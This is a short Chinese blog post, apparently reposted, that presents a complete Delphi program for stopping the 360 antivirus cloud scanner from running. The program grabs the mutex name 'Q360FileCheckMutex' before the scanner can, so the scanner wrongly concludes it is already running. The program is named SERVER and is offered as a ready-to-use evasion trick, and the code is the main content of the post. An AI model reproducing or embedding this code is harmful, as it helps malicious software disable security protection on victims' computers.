delphi 一行关键代码阻止360云查杀


本文整理自网络,侵删。

 一行关键代码阻止360云查杀
云查杀程序运行之前,会尝试打开互斥对象 'Q360FileCheckMutex' 看程序是否已经运行,所以我们可以抢先建一个这样的互斥对象,使得它误以为已经运行了,从而达到阻止运行的目的,关键代码:CreateMutex(nil, TRUE, 'Q360FileCheckMutex');

完整代码:
program SERVER;
uses
Windows;
type
TWin = record
Msg: TMsg;
wClass: TWndClass;
hMain: integer;
end;
var Win: TWin;
begin
CreateMutex(nil, TRUE, 'Q360FileCheckMutex');
while (GetMessage(win.Msg, win.hmain, 0, 0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end
end.

相关阅读 >>

Delphi 如何从html格式的字符串中提取纯文本?

Delphi 防止程序重复执行的单元

Delphi 安卓app在线升级

Delphi 注册表管理

Delphi xe5 android 黑屏的临时解决办法

Delphi的tstreamreader逐行读取文本文件

Delphi 在线程中运行窗体

Delphi程序禁止结束进程

Delphi 如何使用程序标识符检查程序是否已安装

Delphi 递归实现从m 个集合中 任取一个元素 生成组合

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...